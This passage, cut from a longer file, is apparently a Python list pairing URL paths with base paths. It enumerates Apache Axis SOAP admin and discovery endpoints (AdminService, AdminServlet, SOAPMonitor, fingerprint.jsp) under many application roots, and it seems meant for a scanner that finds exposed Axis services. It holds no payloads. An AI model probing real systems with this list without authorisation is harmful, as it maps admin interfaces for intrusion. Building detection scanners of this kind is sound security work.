 ('/jasperserver-pro/EchoHeaders.jws?wsdl', None),
 ('/jasperserver-pro/index.jsp', None),
 ('/jasperserver-pro/fingerprint.jsp', None),
 ('/jasperserver-pro/SOAPMonitor', None),
 ('/jasperserver-pro/{rand}', '/jasperserver-pro'),
 ('/jasperserver-pro/webservice/{rand}', '/jasperserver-pro/webservice'),
 ('/sakai-axis/soap/{rand}', '/sakai-axis/soap'),
 ('/jasperserver/webservices/{rand}', '/jasperserver/webservices'),
 ('/sakai-axis/axis/{rand}', '/sakai-axis/axis'),
 ('/globalsight/soap/{rand}', '/globalsight/soap'),
 ('/jasperserver/ws/{rand}', '/jasperserver/ws'),
 ('/jasperserver-pro/webservices/{rand}', '/jasperserver-pro/webservices'),
 ('/alfresco/services?list', '/alfresco/services'),
 ('/alfresco/services/Version?method=getVersion', '/alfresco/services'),
 ('/alfresco/services/Version', '/alfresco/services'),
 ('/alfresco/services/AdminService?wsdl', '/alfresco/services'),
 ('/alfresco/services/{rand}?wsdl', '/alfresco/services'),
 ('/alfresco/services/{rand}?method=axisinv', '/alfresco/services'),
 ('/alfresco/servlet/AxisServlet?list', '/alfresco/servlet/AxisServlet'),
 ('/alfresco/servlet/AxisServlet/{rand}', '/alfresco/servlet/AxisServlet'),
 ('/alfresco/servlet/AdminServlet', None),
 ('/alfresco/servlet/org.apache.axis.transport.http.AxisServlet',
  '/alfresco/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/alfresco/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/alfresco/{rand}.jws', None),
 ('/alfresco/EchoHeaders.jws?wsdl', None),
 ('/alfresco/index.jsp', None),
 ('/alfresco/fingerprint.jsp', None),
 ('/alfresco/SOAPMonitor', None),
 ('/alfresco/{rand}', '/alfresco'),
 ('/alfresco/webservice/{rand}', '/alfresco/webservice'),
 ('/globalsight/axis/{rand}', '/globalsight/axis'),
 ('/jasperserver-pro/ws/{rand}', '/jasperserver-pro/ws'),
 ('/jasperserver/soap/{rand}', '/jasperserver/soap'),
 ('/alfresco/webservices/{rand}', '/alfresco/webservices'),
 ('/tresearch/services?list', '/tresearch/services'),
 ('/tresearch/services/Version?method=getVersion', '/tresearch/services'),
 ('/tresearch/services/Version', '/tresearch/services'),
 ('/tresearch/services/AdminService?wsdl', '/tresearch/services'),
 ('/tresearch/services/{rand}?wsdl', '/tresearch/services'),
 ('/tresearch/services/{rand}?method=axisinv', '/tresearch/services'),
 ('/tresearch/servlet/AxisServlet?list', '/tresearch/servlet/AxisServlet'),
 ('/tresearch/servlet/AxisServlet/{rand}', '/tresearch/servlet/AxisServlet'),
 ('/tresearch/servlet/AdminServlet', None),
 ('/tresearch/servlet/org.apache.axis.transport.http.AxisServlet',
  '/tresearch/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/tresearch/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/tresearch/{rand}.jws', None),
 ('/tresearch/EchoHeaders.jws?wsdl', None),
 ('/tresearch/index.jsp', None),
 ('/tresearch/fingerprint.jsp', None),
 ('/tresearch/SOAPMonitor', None),
 ('/tresearch/{rand}', '/tresearch'),
 ('/tresearch/webservice/{rand}', '/tresearch/webservice'),
 ('/jasperserver/axis/{rand}', '/jasperserver/axis'),
 ('/jasperserver-pro/soap/{rand}', '/jasperserver-pro/soap'),
 ('/alfresco/ws/{rand}', '/alfresco/ws'),
 ('/MicroStrategyWS/services?list', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/services/Version?method=getVersion', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/services/Version', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/services/AdminService?wsdl', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/services/{rand}?wsdl', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/services/{rand}?method=axisinv', '/MicroStrategyWS/services'),
 ('/MicroStrategyWS/servlet/AxisServlet?list', '/MicroStrategyWS/servlet/AxisServlet'),
 ('/MicroStrategyWS/servlet/AxisServlet/{rand}', '/MicroStrategyWS/servlet/AxisServlet'),
 ('/MicroStrategyWS/servlet/AdminServlet', None),
 ('/MicroStrategyWS/servlet/org.apache.axis.transport.http.AxisServlet',
  '/MicroStrategyWS/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/MicroStrategyWS/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/MicroStrategyWS/{rand}.jws', None),
 ('/MicroStrategyWS/EchoHeaders.jws?wsdl', None),
 ('/MicroStrategyWS/index.jsp', None),
 ('/MicroStrategyWS/fingerprint.jsp', None),
 ('/MicroStrategyWS/SOAPMonitor', None),
 ('/MicroStrategyWS/{rand}', '/MicroStrategyWS'),
 ('/MicroStrategyWS/webservice/{rand}', '/MicroStrategyWS/webservice'),
 ('/tresearch/webservices/{rand}', '/tresearch/webservices'),
 ('/jasperserver-pro/axis/{rand}', '/jasperserver-pro/axis'),
 ('/alfresco/soap/{rand}', '/alfresco/soap'),
 ('/tresearch/ws/{rand}', '/tresearch/ws'),
 ('/MicroStrategyWS/webservices/{rand}', '/MicroStrategyWS/webservices'),
 ('/rpc/services?list', '/rpc/services'),
 ('/rpc/services/Version?method=getVersion', '/rpc/services'),
 ('/rpc/services/Version', '/rpc/services'),
 ('/rpc/services/AdminService?wsdl', '/rpc/services'),
 ('/rpc/services/{rand}?wsdl', '/rpc/services'),
 ('/rpc/services/{rand}?method=axisinv', '/rpc/services'),
 ('/rpc/servlet/AxisServlet?list', '/rpc/servlet/AxisServlet'),
 ('/rpc/servlet/AxisServlet/{rand}', '/rpc/servlet/AxisServlet'),
 ('/rpc/servlet/AdminServlet', None),
 ('/rpc/servlet/org.apache.axis.transport.http.AxisServlet',
  '/rpc/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/rpc/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/rpc/{rand}.jws', None),
 ('/rpc/EchoHeaders.jws?wsdl', None),
 ('/rpc/index.jsp', None),
 ('/rpc/fingerprint.jsp', None),
 ('/rpc/SOAPMonitor', None),
 ('/rpc/webservice/{rand}', '/rpc/webservice'),
 ('/alfresco/axis/{rand}', '/alfresco/axis'),
 ('/MicroStrategyWS/ws/{rand}', '/MicroStrategyWS/ws'),
 ('/tresearch/soap/{rand}', '/tresearch/soap'),
 ('/rpc/webservices/{rand}', '/rpc/webservices'),
 ('/axis-ws/services?list', '/axis-ws/services'),
 ('/axis-ws/services/Version?method=getVersion', '/axis-ws/services'),
 ('/axis-ws/services/Version', '/axis-ws/services'),
 ('/axis-ws/services/AdminService?wsdl', '/axis-ws/services'),
 ('/axis-ws/services/{rand}?wsdl', '/axis-ws/services'),
 ('/axis-ws/services/{rand}?method=axisinv', '/axis-ws/services'),
 ('/axis-ws/servlet/AxisServlet?list', '/axis-ws/servlet/AxisServlet'),
 ('/axis-ws/servlet/AxisServlet/{rand}', '/axis-ws/servlet/AxisServlet'),
 ('/axis-ws/servlet/AdminServlet', None),
 ('/axis-ws/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis-ws/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis-ws/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis-ws/{rand}.jws', None),
 ('/axis-ws/EchoHeaders.jws?wsdl', None),
 ('/axis-ws/index.jsp', None),
 ('/axis-ws/fingerprint.jsp', None),
 ('/axis-ws/SOAPMonitor', None),
 ('/axis-ws/{rand}', '/axis-ws'),
 ('/axis-ws/webservice/{rand}', '/axis-ws/webservice'),
 ('/tresearch/axis/{rand}', '/tresearch/axis'),
 ('/MicroStrategyWS/soap/{rand}', '/MicroStrategyWS/soap'),
 ('/rpc/ws/{rand}', '/rpc/ws'),
 ('/axisws/services?list', '/axisws/services'),
 ('/axisws/services/Version?method=getVersion', '/axisws/services'),
 ('/axisws/services/Version', '/axisws/services'),
 ('/axisws/services/AdminService?wsdl', '/axisws/services'),
 ('/axisws/services/{rand}?wsdl', '/axisws/services'),
 ('/axisws/services/{rand}?method=axisinv', '/axisws/services'),
 ('/axisws/servlet/AxisServlet?list', '/axisws/servlet/AxisServlet'),
 ('/axisws/servlet/AxisServlet/{rand}', '/axisws/servlet/AxisServlet'),
 ('/axisws/servlet/AdminServlet', None),
 ('/axisws/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axisws/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axisws/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axisws/{rand}.jws', None),
 ('/axisws/EchoHeaders.jws?wsdl', None),
 ('/axisws/index.jsp', None),
 ('/axisws/fingerprint.jsp', None),
 ('/axisws/SOAPMonitor', None),
 ('/axisws/webservice/{rand}', '/axisws/webservice'),
 ('/axis-ws/webservices/{rand}', '/axis-ws/webservices'),
 ('/MicroStrategyWS/axis/{rand}', '/MicroStrategyWS/axis'),
 ('/axis-ws/ws/{rand}', '/axis-ws/ws'),
 ('/axisws/webservices/{rand}', '/axisws/webservices'),
 ('/soapws/services?list', '/soapws/services'),
 ('/soapws/services/Version?method=getVersion', '/soapws/services'),
 ('/soapws/services/Version', '/soapws/services'),
 ('/soapws/services/AdminService?wsdl', '/soapws/services'),
 ('/soapws/services/{rand}?wsdl', '/soapws/services'),
 ('/soapws/services/{rand}?method=axisinv', '/soapws/services'),
 ('/soapws/servlet/AxisServlet?list', '/soapws/servlet/AxisServlet'),
 ('/soapws/servlet/AxisServlet/{rand}', '/soapws/servlet/AxisServlet'),
 ('/soapws/servlet/AdminServlet', None),
 ('/soapws/servlet/org.apache.axis.transport.http.AxisServlet',
  '/soapws/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/soapws/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/soapws/{rand}.jws', None),
 ('/soapws/EchoHeaders.jws?wsdl', None),
 ('/soapws/index.jsp', None),
 ('/soapws/fingerprint.jsp', None),
 ('/soapws/SOAPMonitor', None),
 ('/soapws/webservice/{rand}', '/soapws/webservice'),
 ('/rpc/axis/{rand}', '/rpc/axis'),
 ('/axisws/ws/{rand}', '/axisws/ws'),
 ('/esb/services?list', '/esb/services'),
 ('/esb/services/Version?method=getVersion', '/esb/services'),
 ('/esb/services/Version', '/esb/services'),
 ('/esb/services/AdminService?wsdl', '/esb/services'),
 ('/esb/services/{rand}?wsdl', '/esb/services'),
 ('/esb/services/{rand}?method=axisinv', '/esb/services'),
 ('/esb/servlet/AxisServlet?list', '/esb/servlet/AxisServlet'),
 ('/esb/servlet/AxisServlet/{rand}', '/esb/servlet/AxisServlet'),
 ('/esb/servlet/AdminServlet', None),
 ('/esb/servlet/org.apache.axis.transport.http.AxisServlet',
  '/esb/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/esb/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/esb/{rand}.jws', None),
 ('/esb/EchoHeaders.jws?wsdl', None),
 ('/esb/index.jsp', None),
 ('/esb/fingerprint.jsp', None),
 ('/esb/SOAPMonitor', None),
 ('/esb/{rand}', '/esb'),
 ('/esb/webservice/{rand}', '/esb/webservice'),
 ('/axis-ws/soap/{rand}', '/axis-ws/soap'),
 ('/soapws/webservices/{rand}', '/soapws/webservices'),
 ('/axis-ws/axis/{rand}', '/axis-ws/axis'),
 ('/axisws/soap/{rand}', '/axisws/soap'),
 ('/soapws/ws/{rand}', '/soapws/ws'),
 ('/esb/webservices/{rand}', '/esb/webservices'),
 ('/integration/services?list', '/integration/services'),
 ('/integration/services/Version?method=getVersion', '/integration/services'),
 ('/integration/services/Version', '/integration/services'),
 ('/integration/services/AdminService?wsdl', '/integration/services'),
 ('/integration/services/{rand}?wsdl', '/integration/services'),
 ('/integration/services/{rand}?method=axisinv', '/integration/services'),
 ('/integration/servlet/AxisServlet?list', '/integration/servlet/AxisServlet'),
 ('/integration/servlet/AxisServlet/{rand}', '/integration/servlet/AxisServlet'),
 ('/integration/servlet/AdminServlet', None),
 ('/integration/servlet/org.apache.axis.transport.http.AxisServlet',
  '/integration/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/integration/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/integration/{rand}.jws', None),
 ('/integration/EchoHeaders.jws?wsdl', None),
 ('/integration/index.jsp', None),
 ('/integration/fingerprint.jsp', None),
 ('/integration/SOAPMonitor', None),
 ('/integration/{rand}', '/integration'),
 ('/integration/webservice/{rand}', '/integration/webservice'),
 ('/axisws/axis/{rand}', '/axisws/axis'),
 ('/esb/ws/{rand}', '/esb/ws'),
 ('/soapws/soap/{rand}', '/soapws/soap'),
 ('/integration/webservices/{rand}', '/integration/webservices'),
 ('/middleware/services?list', '/middleware/services'),
 ('/middleware/services/Version?method=getVersion', '/middleware/services'),
 ('/middleware/services/Version', '/middleware/services'),
 ('/middleware/services/AdminService?wsdl', '/middleware/services'),
 ('/middleware/services/{rand}?wsdl', '/middleware/services'),
 ('/middleware/services/{rand}?method=axisinv', '/middleware/services'),
 ('/middleware/servlet/AxisServlet?list', '/middleware/servlet/AxisServlet'),
 ('/middleware/servlet/AxisServlet/{rand}', '/middleware/servlet/AxisServlet'),
 ('/middleware/servlet/AdminServlet', None),
 ('/middleware/servlet/org.apache.axis.transport.http.AxisServlet',
  '/middleware/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/middleware/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/middleware/{rand}.jws', None),
 ('/middleware/EchoHeaders.jws?wsdl', None),
 ('/middleware/index.jsp', None),
 ('/middleware/fingerprint.jsp', None),
 ('/middleware/SOAPMonitor', None),
 ('/middleware/{rand}', '/middleware'),
 ('/middleware/webservice/{rand}', '/middleware/webservice'),
 ('/soapws/axis/{rand}', '/soapws/axis'),
 ('/esb/soap/{rand}', '/esb/soap'),
 ('/integration/ws/{rand}', '/integration/ws'),
 ('/gateway/services?list', '/gateway/services'),
 ('/gateway/services/Version?method=getVersion', '/gateway/services'),
 ('/gateway/services/Version', '/gateway/services'),
 ('/gateway/services/AdminService?wsdl', '/gateway/services'),
 ('/gateway/services/{rand}?wsdl', '/gateway/services'),
 ('/gateway/services/{rand}?method=axisinv', '/gateway/services'),
 ('/gateway/servlet/AxisServlet?list', '/gateway/servlet/AxisServlet'),
 ('/gateway/servlet/AxisServlet/{rand}', '/gateway/servlet/AxisServlet'),
 ('/gateway/servlet/AdminServlet', None),
 ('/gateway/servlet/org.apache.axis.transport.http.AxisServlet',
  '/gateway/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/gateway/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/gateway/{rand}.jws', None),
 ('/gateway/EchoHeaders.jws?wsdl', None),
 ('/gateway/index.jsp', None),
 ('/gateway/fingerprint.jsp', None),
 ('/gateway/SOAPMonitor', None),
 ('/gateway/{rand}', '/gateway'),
 ('/gateway/webservice/{rand}', '/gateway/webservice'),
 ('/middleware/webservices/{rand}', '/middleware/webservices'),
 ('/esb/axis/{rand}', '/esb/axis'),
 ('/integration/soap/{rand}', '/integration/soap'),
 ('/middleware/ws/{rand}', '/middleware/ws'),
 ('/gateway/webservices/{rand}', '/gateway/webservices'),
 ('/app/services?list', '/app/services'),
 ('/app/services/Version?method=getVersion', '/app/services'),
 ('/app/services/Version', '/app/services'),
 ('/app/services/AdminService?wsdl', '/app/services'),
 ('/app/services/{rand}?wsdl', '/app/services'),
 ('/app/services/{rand}?method=axisinv', '/app/services'),
 ('/app/servlet/AxisServlet?list', '/app/servlet/AxisServlet'),
 ('/app/servlet/AxisServlet/{rand}', '/app/servlet/AxisServlet'),
 ('/app/servlet/AdminServlet', None),
 ('/app/servlet/org.apache.axis.transport.http.AxisServlet',
  '/app/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/app/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/app/{rand}.jws', None),
 ('/app/EchoHeaders.jws?wsdl', None),
 ('/app/index.jsp', None),
 ('/app/fingerprint.jsp', None),
 ('/app/SOAPMonitor', None),
 ('/app/{rand}', '/app'),
 ('/app/webservice/{rand}', '/app/webservice'),
 ('/integration/axis/{rand}', '/integration/axis'),
 ('/gateway/ws/{rand}', '/gateway/ws'),
 ('/middleware/soap/{rand}', '/middleware/soap'),
 ('/app/webservices/{rand}', '/app/webservices'),
 ('/portal/services?list', '/portal/services'),
 ('/portal/services/Version?method=getVersion', '/portal/services'),
 ('/portal/services/Version', '/portal/services'),
 ('/portal/services/AdminService?wsdl', '/portal/services'),
 ('/portal/services/{rand}?wsdl', '/portal/services'),
 ('/portal/services/{rand}?method=axisinv', '/portal/services'),
 ('/portal/servlet/AxisServlet?list', '/portal/servlet/AxisServlet'),
 ('/portal/servlet/AxisServlet/{rand}', '/portal/servlet/AxisServlet'),
 ('/portal/servlet/AdminServlet', None),
 ('/portal/servlet/org.apache.axis.transport.http.AxisServlet',
  '/portal/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/portal/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/portal/{rand}.jws', None),
 ('/portal/EchoHeaders.jws?wsdl', None),
 ('/portal/index.jsp', None),
 ('/portal/fingerprint.jsp', None),
 ('/portal/SOAPMonitor', None),
 ('/portal/{rand}', '/portal'),
 ('/portal/webservice/{rand}', '/portal/webservice'),
 ('/middleware/axis/{rand}', '/middleware/axis'),
 ('/gateway/soap/{rand}', '/gateway/soap'),
 ('/app/ws/{rand}', '/app/ws'),
 ('/server/services?list', '/server/services'),
 ('/server/services/Version?method=getVersion', '/server/services'),
 ('/server/services/Version', '/server/services'),
 ('/server/services/AdminService?wsdl', '/server/services'),
 ('/server/services/{rand}?wsdl', '/server/services'),
 ('/server/services/{rand}?method=axisinv', '/server/services'),
 ('/server/servlet/AxisServlet?list', '/server/servlet/AxisServlet'),
 ('/server/servlet/AxisServlet/{rand}', '/server/servlet/AxisServlet'),
 ('/server/servlet/AdminServlet', None),
 ('/server/servlet/org.apache.axis.transport.http.AxisServlet',
  '/server/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/server/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/server/{rand}.jws', None),
 ('/server/EchoHeaders.jws?wsdl', None),
 ('/server/index.jsp', None),
 ('/server/fingerprint.jsp', None),
 ('/server/SOAPMonitor', None),
 ('/server/{rand}', '/server'),
 ('/server/webservice/{rand}', '/server/webservice'),
 ('/portal/webservices/{rand}', '/portal/webservices'),
 ('/gateway/axis/{rand}', '/gateway/axis'),
 ('/app/soap/{rand}', '/app/soap'),
 ('/portal/ws/{rand}', '/portal/ws'),
 ('/server/webservices/{rand}', '/server/webservices'),
 ('/service/services?list', '/service/services'),
 ('/service/services/Version?method=getVersion', '/service/services'),
 ('/service/services/Version', '/service/services'),
 ('/service/services/AdminService?wsdl', '/service/services'),
 ('/service/services/{rand}?wsdl', '/service/services'),
 ('/service/services/{rand}?method=axisinv', '/service/services'),
 ('/service/servlet/AxisServlet?list', '/service/servlet/AxisServlet'),
 ('/service/servlet/AxisServlet/{rand}', '/service/servlet/AxisServlet'),
 ('/service/servlet/AdminServlet', None),
 ('/service/servlet/org.apache.axis.transport.http.AxisServlet',
  '/service/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/service/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/service/{rand}.jws', None),
 ('/service/EchoHeaders.jws?wsdl', None),
 ('/service/index.jsp', None),
 ('/service/fingerprint.jsp', None),
 ('/service/SOAPMonitor', None),
 ('/service/webservice/{rand}', '/service/webservice'),
 ('/app/axis/{rand}', '/app/axis'),
 ('/server/ws/{rand}', '/server/ws'),
 ('/WebServices/services?list', '/WebServices/services'),
 ('/WebServices/services/Version?method=getVersion', '/WebServices/services'),
 ('/WebServices/services/Version', '/WebServices/services'),
 ('/WebServices/services/AdminService?wsdl', '/WebServices/services'),
 ('/WebServices/services/{rand}?wsdl', '/WebServices/services'),
 ('/WebServices/services/{rand}?method=axisinv', '/WebServices/services'),
 ('/WebServices/servlet/AxisServlet?list', '/WebServices/servlet/AxisServlet'),
 ('/WebServices/servlet/AxisServlet/{rand}', '/WebServices/servlet/AxisServlet'),
 ('/WebServices/servlet/AdminServlet', None),
 ('/WebServices/servlet/org.apache.axis.transport.http.AxisServlet',
  '/WebServices/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/WebServices/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/WebServices/{rand}.jws', None),
 ('/WebServices/EchoHeaders.jws?wsdl', None),
 ('/WebServices/index.jsp', None),
 ('/WebServices/fingerprint.jsp', None),
 ('/WebServices/SOAPMonitor', None),
 ('/WebServices/webservice/{rand}', '/WebServices/webservice'),
 ('/portal/soap/{rand}', '/portal/soap'),
 ('/service/webservices/{rand}', '/service/webservices'),
 ('/portal/axis/{rand}', '/portal/axis'),
 ('/server/soap/{rand}', '/server/soap'),
 ('/service/ws/{rand}', '/service/ws'),
 ('/WebServices/webservices/{rand}', '/WebServices/webservices'),
 ('/AXIS/services?list', '/AXIS/services'),
 ('/AXIS/services/Version?method=getVersion', '/AXIS/services'),
 ('/AXIS/services/Version', '/AXIS/services'),
 ('/AXIS/services/AdminService?wsdl', '/AXIS/services'),
 ('/AXIS/services/{rand}?wsdl', '/AXIS/services'),
 ('/AXIS/services/{rand}?method=axisinv', '/AXIS/services'),
 ('/AXIS/servlet/AxisServlet?list', '/AXIS/servlet/AxisServlet'),
 ('/AXIS/servlet/AxisServlet/{rand}', '/AXIS/servlet/AxisServlet'),
 ('/AXIS/servlet/AdminServlet', None),
 ('/AXIS/servlet/org.apache.axis.transport.http.AxisServlet',
  '/AXIS/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/AXIS/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/AXIS/{rand}.jws', None),
 ('/AXIS/EchoHeaders.jws?wsdl', None),
 ('/AXIS/index.jsp', None),
 ('/AXIS/fingerprint.jsp', None),
 ('/AXIS/SOAPMonitor', None),
 ('/AXIS/{rand}', '/AXIS'),
 ('/AXIS/webservice/{rand}', '/AXIS/webservice'),
 ('/server/axis/{rand}', '/server/axis'),
 ('/WebServices/ws/{rand}', '/WebServices/ws'),
 ('/service/soap/{rand}', '/service/soap'),
 ('/AXIS/webservices/{rand}', '/AXIS/webservices'),
 ('/Axis/services?list', '/Axis/services'),
 ('/Axis/services/Version?method=getVersion', '/Axis/services'),
 ('/Axis/services/Version', '/Axis/services'),
 ('/Axis/services/AdminService?wsdl', '/Axis/services'),
 ('/Axis/services/{rand}?wsdl', '/Axis/services'),
 ('/Axis/services/{rand}?method=axisinv', '/Axis/services'),
 ('/Axis/servlet/AxisServlet?list', '/Axis/servlet/AxisServlet'),
 ('/Axis/servlet/AxisServlet/{rand}', '/Axis/servlet/AxisServlet'),
 ('/Axis/servlet/AdminServlet', None),
 ('/Axis/servlet/org.apache.axis.transport.http.AxisServlet',
  '/Axis/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/Axis/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/Axis/{rand}.jws', None),
 ('/Axis/EchoHeaders.jws?wsdl', None),
 ('/Axis/index.jsp', None),
 ('/Axis/fingerprint.jsp', None),
 ('/Axis/SOAPMonitor', None),
 ('/Axis/webservice/{rand}', '/Axis/webservice'),
 ('/service/axis/{rand}', '/service/axis'),
 ('/WebServices/soap/{rand}', '/WebServices/soap'),
 ('/AXIS/ws/{rand}', '/AXIS/ws'),
 ('/axis-1.4/services?list', '/axis-1.4/services'),
 ('/axis-1.4/services/Version?method=getVersion', '/axis-1.4/services'),
 ('/axis-1.4/services/Version', '/axis-1.4/services'),
 ('/axis-1.4/services/AdminService?wsdl', '/axis-1.4/services'),
 ('/axis-1.4/services/{rand}?wsdl', '/axis-1.4/services'),
 ('/axis-1.4/services/{rand}?method=axisinv', '/axis-1.4/services'),
 ('/axis-1.4/servlet/AxisServlet?list', '/axis-1.4/servlet/AxisServlet'),
 ('/axis-1.4/servlet/AxisServlet/{rand}', '/axis-1.4/servlet/AxisServlet'),
 ('/axis-1.4/servlet/AdminServlet', None),
 ('/axis-1.4/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis-1.4/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis-1.4/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis-1.4/{rand}.jws', None),
 ('/axis-1.4/EchoHeaders.jws?wsdl', None),
 ('/axis-1.4/index.jsp', None),
 ('/axis-1.4/fingerprint.jsp', None),
 ('/axis-1.4/SOAPMonitor', None),
 ('/axis-1.4/{rand}', '/axis-1.4'),
 ('/axis-1.4/webservice/{rand}', '/axis-1.4/webservice'),
 ('/Axis/webservices/{rand}', '/Axis/webservices'),
 ('/WebServices/axis/{rand}', '/WebServices/axis'),
 ('/AXIS/soap/{rand}', '/AXIS/soap'),
 ('/Axis/ws/{rand}', '/Axis/ws'),
 ('/axis-1.4/webservices/{rand}', '/axis-1.4/webservices'),
 ('/axis-1_4/services?list', '/axis-1_4/services'),
 ('/axis-1_4/services/Version?method=getVersion', '/axis-1_4/services'),
 ('/axis-1_4/services/Version', '/axis-1_4/services'),
 ('/axis-1_4/services/AdminService?wsdl', '/axis-1_4/services'),
 ('/axis-1_4/services/{rand}?wsdl', '/axis-1_4/services'),
 ('/axis-1_4/services/{rand}?method=axisinv', '/axis-1_4/services'),
 ('/axis-1_4/servlet/AxisServlet?list', '/axis-1_4/servlet/AxisServlet'),
 ('/axis-1_4/servlet/AxisServlet/{rand}', '/axis-1_4/servlet/AxisServlet'),
 ('/axis-1_4/servlet/AdminServlet', None),
 ('/axis-1_4/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis-1_4/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis-1_4/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis-1_4/{rand}.jws', None),
 ('/axis-1_4/EchoHeaders.jws?wsdl', None),
 ('/axis-1_4/index.jsp', None),
 ('/axis-1_4/fingerprint.jsp', None),
 ('/axis-1_4/SOAPMonitor', None),
 ('/axis-1_4/{rand}', '/axis-1_4'),
 ('/axis-1_4/webservice/{rand}', '/axis-1_4/webservice'),
 ('/AXIS/axis/{rand}', '/AXIS/axis'),
 ('/axis-1.4/ws/{rand}', '/axis-1.4/ws'),
 ('/Axis/soap/{rand}', '/Axis/soap'),
 ('/axis-1_4/webservices/{rand}', '/axis-1_4/webservices'),
 ('/axis14/services?list', '/axis14/services'),
 ('/axis14/services/Version?method=getVersion', '/axis14/services'),
 ('/axis14/services/Version', '/axis14/services'),
 ('/axis14/services/AdminService?wsdl', '/axis14/services'),
 ('/axis14/services/{rand}?wsdl', '/axis14/services'),
 ('/axis14/services/{rand}?method=axisinv', '/axis14/services'),
 ('/axis14/servlet/AxisServlet?list', '/axis14/servlet/AxisServlet'),
 ('/axis14/servlet/AxisServlet/{rand}', '/axis14/servlet/AxisServlet'),
 ('/axis14/servlet/AdminServlet', None),
 ('/axis14/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis14/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis14/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis14/{rand}.jws', None),
 ('/axis14/EchoHeaders.jws?wsdl', None),
 ('/axis14/index.jsp', None),
 ('/axis14/fingerprint.jsp', None),
 ('/axis14/SOAPMonitor', None),
 ('/axis14/{rand}', '/axis14'),
 ('/axis14/webservice/{rand}', '/axis14/webservice'),
 ('/Axis/axis/{rand}', '/Axis/axis'),
 ('/axis-1.4/soap/{rand}', '/axis-1.4/soap'),
 ('/axis-1_4/ws/{rand}', '/axis-1_4/ws'),
 ('/axis-1.3/services?list', '/axis-1.3/services'),
 ('/axis-1.3/services/Version?method=getVersion', '/axis-1.3/services'),
 ('/axis-1.3/services/Version', '/axis-1.3/services'),
 ('/axis-1.3/services/AdminService?wsdl', '/axis-1.3/services'),
 ('/axis-1.3/services/{rand}?wsdl', '/axis-1.3/services'),
 ('/axis-1.3/services/{rand}?method=axisinv', '/axis-1.3/services'),
 ('/axis-1.3/servlet/AxisServlet?list', '/axis-1.3/servlet/AxisServlet'),
 ('/axis-1.3/servlet/AxisServlet/{rand}', '/axis-1.3/servlet/AxisServlet'),
 ('/axis-1.3/servlet/AdminServlet', None),
 ('/axis-1.3/servlet/org.apache.axis.transport.http.AxisServlet',
  '/axis-1.3/servlet/org.apache.axis.transport.http.AxisServlet'),
 ('/axis-1.3/servlet/org.apache.axis.transport.http.AdminServlet', None),
 ('/axis-1.3/{rand}.jws', None),
 ('/axis-1.3/EchoHeaders.jws?wsdl', None),
 ('/axis-1.3/index.jsp', None),
 ('/axis-1.3/fingerprint.jsp', None),
 ('/axis-1.3/SOAPMonitor', None),
 ('/axis-1.3/{rand}', '/axis-1.3'),
 ('/axis-1.3/webservice/{rand}', '/axis-1.3/webservice'),
 ('/axis14/webservices/{rand}', '/axis14/webservices'),
 ('/axis-1.4/axis/{rand}', '/axis-1.4/axis'),
 ('/axis-1_4/soap/{rand}', '/axis-1_4/soap'),
 ('/axis14/ws/{rand}', '/axis14/ws'),
 ('/axis-1.3/webservices/{rand}', '/axis-1.3/webservices'),
 ('/axis-1.2/services?list', '/axis-1.2/services'),
 ('/axis-1.2/services/Version?method=getVersion', '/axis-1.2/services'),
 ('/axis-1.2/services/Version', '/axis-1.2/services'),
 ('/axis-1.2/services/AdminService?wsdl', '/axis-1.2/services'),
 ('/axis-1.2/services/{rand}?wsdl', '/axis-1.2/services'),
 ('/axis-1.2/services/{rand}?method=axisinv', '/axis-1.2/services'),
 ('/axis-1.2/servlet/AxisServlet?list', '/axis-1.2/servlet/AxisServlet'),
 ('/axis-1.2/servlet/AxisServlet/{rand}', '/axis-1.2/servlet/AxisServlet'),
